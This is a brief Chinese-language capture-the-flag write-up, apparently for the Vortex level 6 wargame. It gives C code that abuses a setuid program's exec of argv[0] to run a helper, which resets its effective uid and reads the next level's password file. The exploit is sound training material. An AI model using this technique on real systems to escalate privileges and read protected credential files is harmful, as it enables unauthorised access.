vortex6

Posted by rk700 on July 8, 2014

反汇编之后,发现同样存在format string。但这次还有一restart函数,检查发现他exec了我们的argv[0]。但是argv[0]可以是任意的内容提交给他,所以我们写一个读密码的程序:

#include <unistd.h>
#include <stdio.h>

int main (int argc, char *argv[]) {
    seteuid(5007);
    FILE *fp = fopen("/etc/vortex_pass/vortex7", "r");
    char buf[128];
    size_t numRead = fread(buf, 1, sizeof buf, fp);
    buf[numRead] = 0;
    printf("%s\n", buf);
    return 0;
}

因为在exec过程中,euid被保存到saved uid里,所以我们要先恢复euid。但这里我不知道怎么得到saved uid,只能hard coded

然后写一个程序调用vortex6:

#include <unistd.h>

int main (int argc, char *argv[]) {
    char *args[] = {"/tmp/nabla/read",NULL};
    execv("/vortex/vortex6", args);
}